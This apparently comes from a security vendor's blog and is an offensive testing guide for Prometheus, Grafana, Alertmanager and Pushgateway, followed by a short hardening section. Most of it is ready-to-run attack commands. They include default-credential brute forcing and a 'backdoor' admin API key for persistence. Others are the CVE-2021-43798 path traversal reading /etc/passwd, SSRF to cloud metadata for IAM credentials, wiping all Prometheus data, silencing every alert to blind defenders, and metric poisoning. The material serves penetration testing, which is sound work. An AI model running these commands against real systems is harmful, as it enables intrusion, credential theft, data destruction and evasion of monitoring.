Observability Security

Prometheus & Grafana Security Testing: Monitoring Stack Exploitation and Unauthenticated Access

📅 July 3, 2026 ⏱ 14 min read 🏷 Monitoring, Cloud-Native, Infrastructure Security

Prometheus and Grafana are ubiquitous in production environments — and routinely left exposed without authentication. An unauthenticated Prometheus endpoint leaks hostnames, internal IPs, environment variables, and service metadata. Grafana's datasource proxying creates SSRF vectors into internal networks. This guide covers the full monitoring stack attack surface from unauthenticated discovery through PromQL injection, Alertmanager exploitation, and lateral movement via service discovery data.

Prometheus Discovery and Unauthenticated Access
Metrics-Based Intelligence Gathering
PromQL Injection and API Abuse
Grafana Default Credentials and Admin Takeover
Grafana SSRF via Datasource Configuration
Alertmanager Exploitation
Pushgateway Metric Injection
Hardening the Monitoring Stack

Prometheus Discovery and Unauthenticated Access

Prometheus exposes metrics on port 9090 by default with no authentication in base configuration. It is frequently deployed on internal networks where access controls are assumed — but those networks are often reachable after initial compromise.

Port and Service Discovery

# Common Prometheus and exporter ports
# 9090  — Prometheus server
# 3000  — Grafana
# 9091  — Pushgateway
# 9093  — Alertmanager
# 9100  — node_exporter (host metrics)
# 9091  — cAdvisor (container metrics)
# 8080  — kube-state-metrics

# Scan for Prometheus instances
nmap -sV -p 9090,9091,9093,3000,9100 10.0.0.0/24
nmap -p 9090 --open 10.0.0.0/24 -oG - | grep "9090/open"

# Check if Prometheus is exposed without auth
curl -s http://TARGET:9090/-/healthy
curl -s http://TARGET:9090/metrics | head -20

# Enumerate via Kubernetes service discovery
kubectl get svc -A | grep -E "9090|3000|9093"
kubectl get endpoints -A | grep prometheus

Prometheus API Enumeration

# Check all available API endpoints
curl -s http://prometheus:9090/api/v1/status/config | python3 -m json.tool
curl -s http://prometheus:9090/api/v1/status/flags
curl -s http://prometheus:9090/api/v1/targets | python3 -m json.tool

# List all metric names (reveals what's being monitored)
curl -s http://prometheus:9090/api/v1/label/__name__/values | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print('\n'.join(d['data'][:50]))"

# Get scrape targets (reveals internal hostnames and IPs)
curl -s http://prometheus:9090/api/v1/targets | \
  python3 -c "
import json,sys
d = json.load(sys.stdin)
for t in d['data']['activeTargets']:
    print(t['scrapeUrl'], '->', t['health'])
"

Metrics-Based Intelligence Gathering

Prometheus metrics expose detailed information about internal infrastructure that is invaluable for lateral movement planning.

Infrastructure Discovery via Metrics

# Extract all target labels (hostnames, IPs, environments)
curl -s "http://prometheus:9090/api/v1/targets" | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
for t in d['data']['activeTargets']:
    labels = t.get('labels', {})
    print(f\"Host: {labels.get('instance','?')} Job: {labels.get('job','?')} Env: {labels.get('env','?')}\")
"

# Find internal IPs from node_exporter targets
curl -s "http://prometheus:9090/api/v1/query?query=up" | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
for r in d['data']['result']:
    print(r['metric'].get('instance','?'))
" | sort -u

# Discover Kubernetes nodes and pods via kube-state-metrics
curl -s "http://prometheus:9090/api/v1/query?query=kube_node_info" | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
for r in d['data']['result']:
    m = r['metric']
    print(f\"Node: {m.get('node')} OS: {m.get('os_image')} Kernel: {m.get('kernel_version')}\")
"

Sensitive Metric Extraction

# Process metrics can expose environment variables (if process_env_vars enabled)
curl -s "http://node-exporter:9100/metrics" | grep "process_env"

# Check for secrets exposed via custom metrics
curl -s "http://prometheus:9090/api/v1/query?query={__name__=~\".*secret.*|.*password.*|.*token.*\"}" | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(json.dumps(d['data'], indent=2))" | head -40

# Extract database connection strings from Go runtime metrics
curl -s "http://app:9090/metrics" | grep -iE "dsn|connection_string|database_url"

# Check Kubernetes secret usage via kube-state-metrics
curl -s "http://prometheus:9090/api/v1/query?query=kube_secret_info" | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
for r in d['data']['result']:
    m = r['metric']
    print(f\"Namespace: {m.get('namespace')} Secret: {m.get('secret_name')} Type: {m.get('type')}\")
"

PromQL Injection and API Abuse

If application code constructs PromQL queries using unsanitized user input, injection attacks can exfiltrate arbitrary metric data or cause denial of service via expensive queries.

PromQL Injection

# Vulnerable pattern in application code:
# query = f'http_requests_total{{service="{user_input}"}}'
# curl "http://grafana/api/datasources/proxy/1/api/v1/query?query=..."

# Basic injection test — break out of label matcher
curl -s "http://app/metrics-api?service=web}" | head -5
# If error reveals PromQL syntax, injection is possible

# Exfiltrate all metrics by closing label selector
# Input: web"} or http_requests_total{job=~".+"} #
# Results in: http_requests_total{service="web"} or http_requests_total{job=~".+"} #"}

# Expensive query DoS — force high-cardinality scan
curl -s 'http://prometheus:9090/api/v1/query?query=\{__name__=~".+"\}' &
# Runs all metrics — can cause memory exhaustion on large deployments

# Time range DoS — query years of data
curl -s 'http://prometheus:9090/api/v1/query_range?query=up&start=2020-01-01T00:00:00Z&end=2026-01-01T00:00:00Z&step=1s'

Prometheus HTTP API Abuse

# Delete all time-series data (if admin API enabled)
curl -X POST http://prometheus:9090/api/v1/admin/tsdb/delete_series \
  -d 'match[]={__name__=~".+"}'

# Snapshot the database (dumps all data to filesystem)
curl -X POST http://prometheus:9090/api/v1/admin/tsdb/snapshot

# Check if admin API is enabled (enabled with --web.enable-admin-api flag)
curl -s http://prometheus:9090/api/v1/admin/tsdb/clean_tombstones -X POST | head -5

# Remote write endpoint (if exposed) can inject arbitrary metrics
curl -X POST http://prometheus:9090/api/v1/write \
  -H "Content-Type: application/x-protobuf" \
  --data-binary @injected_metrics.pb

Grafana Default Credentials and Admin Takeover

Grafana ships with default credentials admin/admin and prompts to change on first login — but many deployments skip this step.

Default Credential Testing

# Test default credentials
curl -s -X POST http://grafana:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","password":"admin"}' | python3 -m json.tool

# Common default/weak passwords to test
for pass in admin admin123 grafana password secret changeme; do
  result=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://grafana:3000/api/login \
    -H "Content-Type: application/json" \
    -d "{\"user\":\"admin\",\"password\":\"$pass\"}")
  echo "$pass: HTTP $result"
done

# Check Grafana version (for known CVE targeting)
curl -s http://grafana:3000/api/health | python3 -m json.tool
# Returns: {"commit": "...", "database": "ok", "version": "9.5.2"}

Grafana API Key Enumeration

# With admin credentials, enumerate API keys
curl -s http://grafana:3000/api/auth/keys \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)"

# List all users
curl -s http://grafana:3000/api/org/users \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)" | \
  python3 -c "import json,sys; [print(u['login'], u['role']) for u in json.load(sys.stdin)]"

# Create admin API key for persistence
curl -s -X POST http://grafana:3000/api/auth/keys \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)" \
  -d '{"name":"backdoor","role":"Admin","secondsToLive":0}'

# CVE-2021-43798: Grafana path traversal (versions 8.x)
# Read arbitrary files without authentication
curl --path-as-is -s "http://grafana:3000/public/plugins/alertlist/../../../etc/passwd"
curl --path-as-is -s "http://grafana:3000/public/plugins/text/../../../etc/grafana/grafana.ini"

Grafana SSRF via Datasource Configuration

Grafana proxies requests to configured datasources. An attacker with admin access can add a datasource pointing to internal services, using Grafana as an SSRF pivot.

Datasource SSRF

# Add a datasource pointing to internal service
curl -s -X POST http://grafana:3000/api/datasources \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)" \
  -d '{
    "name": "internal-probe",
    "type": "prometheus",
    "url": "http://169.254.169.254",
    "access": "proxy"
  }'

# Query internal metadata service via datasource proxy
# Grafana proxies /api/datasources/proxy/N/... to the datasource URL
DS_ID=5
curl -s "http://grafana:3000/api/datasources/proxy/$DS_ID/latest/meta-data/iam/security-credentials/" \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)" \
  -H "X-aws-ec2-metadata-token: TOKEN"

# Probe internal Kubernetes API server
curl -s -X POST http://grafana:3000/api/datasources \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)" \
  -d '{"name":"k8s-probe","type":"prometheus","url":"https://kubernetes.default.svc","access":"proxy"}'

# Probe internal databases (Redis, Elasticsearch)
# Set datasource URL to: http://redis:6379 or http://elasticsearch:9200

Grafana Plugin SSRF

# Some Grafana plugins make outbound requests based on user input
# Image renderer plugin is a common SSRF vector

# Check installed plugins
curl -s http://grafana:3000/api/plugins?embedded=0 \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)" | \
  python3 -c "import json,sys; [print(p['id'], p['info']['version']) for p in json.load(sys.stdin)]"

# Grafana image renderer SSRF (if installed)
# Renderer fetches URLs to generate panel screenshots
curl -s "http://grafana:3000/render/d-solo/dashboard?orgId=1&panelId=1&from=now-1h&to=now&width=1000&height=500&tz=UTC&timeout=30" \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)"

Alertmanager Exploitation

Alertmanager handles alert routing and notification. Its API is typically unauthenticated and can be abused for SSRF, alert suppression, or webhook hijacking.

# Check Alertmanager accessibility
curl -s http://alertmanager:9093/-/healthy
curl -s http://alertmanager:9093/api/v2/status | python3 -m json.tool

# List active alerts (reveals what's firing, environment state)
curl -s http://alertmanager:9093/api/v2/alerts | \
  python3 -c "
import json,sys
for a in json.load(sys.stdin):
    labels = a.get('labels', {})
    print(f\"Alert: {labels.get('alertname')} | Instance: {labels.get('instance')} | Severity: {labels.get('severity')}\")
"

# Silence all alerts (blind the monitoring team)
curl -s -X POST http://alertmanager:9093/api/v2/silences \
  -H "Content-Type: application/json" \
  -d '{
    "matchers": [{"name": "alertname", "value": ".*", "isRegex": true}],
    "startsAt": "2026-01-01T00:00:00Z",
    "endsAt": "2027-01-01T00:00:00Z",
    "comment": "maintenance",
    "createdBy": "ops"
  }'

# Get Alertmanager config (may contain webhook URLs, PagerDuty keys, Slack tokens)
curl -s http://alertmanager:9093/api/v2/status | \
  python3 -c "import json,sys; print(json.load(sys.stdin)['config']['original'])"

# Inject a fake alert to trigger webhook (SSRF via webhook receiver)
curl -s -X POST http://alertmanager:9093/api/v2/alerts \
  -H "Content-Type: application/json" \
  -d '[{"labels":{"alertname":"test","severity":"critical"},"annotations":{"description":"test"}}]'

Pushgateway Metric Injection

# Pushgateway accepts metrics via HTTP push — no auth by default
# Injecting metrics can poison dashboards and trigger false alerts

# Inject arbitrary metrics
curl -s -X POST http://pushgateway:9091/metrics/job/myjob \
  --data-binary '
# HELP build_info Build information
# TYPE build_info gauge
build_info{version="1.0",env="production"} 1
'

# Overwrite existing metrics
curl -s -X PUT http://pushgateway:9091/metrics/job/batch_processor/instance/prod-1 \
  --data-binary 'batch_job_duration_seconds 99999'

# Delete metrics group (cause alerts to fire)
curl -s -X DELETE http://pushgateway:9091/metrics/job/batch_processor

# List all pushed metrics
curl -s http://pushgateway:9091/metrics | grep -v "^#" | head -20

Hardening the Monitoring Stack

# Prometheus — enable basic auth and TLS
# prometheus.yml web config:
# basic_auth_users:
#   admin: $2y$12$HASH_BCRYPT_PASSWORD

# Start with auth config
prometheus --web.config.file=/etc/prometheus/web.yml

# Disable admin API (enabled by default in newer versions)
prometheus --no-web.enable-admin-api

# Grafana — force strong admin password and disable anonymous access
# grafana.ini:
[security]
admin_password = STRONG_RANDOM_PASSWORD
disable_initial_admin_creation = false

[auth.anonymous]
enabled = false

[users]
allow_sign_up = false

# Grafana — restrict datasource proxy to known internal CIDRs
[dataproxy]
send_user_header = false

# Alertmanager — enable basic auth via web config
# alertmanager web.yml:
# basic_auth_users:
#   admin: $2y$12$BCRYPT_HASH

# Kubernetes — expose monitoring only on internal ClusterIP
apiVersion: v1
kind: Service
metadata:
  name: prometheus
spec:
  type: ClusterIP  # Never LoadBalancer for monitoring
  selector:
    app: prometheus

Monitoring Security Checklist: Enable basic auth or OAuth proxy on Prometheus; set strong Grafana admin password and disable anonymous access; restrict Alertmanager API to internal networks; disable Prometheus admin API in production; audit datasource configurations for SSRF paths; place Pushgateway behind a network policy; verify no monitoring ports are internet-accessible.

Security Test	Tool/Method	Priority
Unauthenticated Prometheus access	curl /api/v1/targets	Critical
Default Grafana credentials	curl /api/login	Critical
Grafana CVE-2021-43798 path traversal	curl --path-as-is	High
Prometheus admin API enabled	POST /api/v1/admin/tsdb/snapshot	High
Alertmanager config extraction	GET /api/v2/status	High
Grafana SSRF via datasource	POST /api/datasources	High
Pushgateway unauthenticated write	POST /metrics/job/...	Medium
PromQL injection in app	Manual code review	Medium

Detect Exposed Monitoring Stacks Automatically

Ironimo scans for unauthenticated Prometheus, Grafana, and Alertmanager endpoints across your attack surface and validates authentication controls before attackers find them.

Start free scan

Table of Contents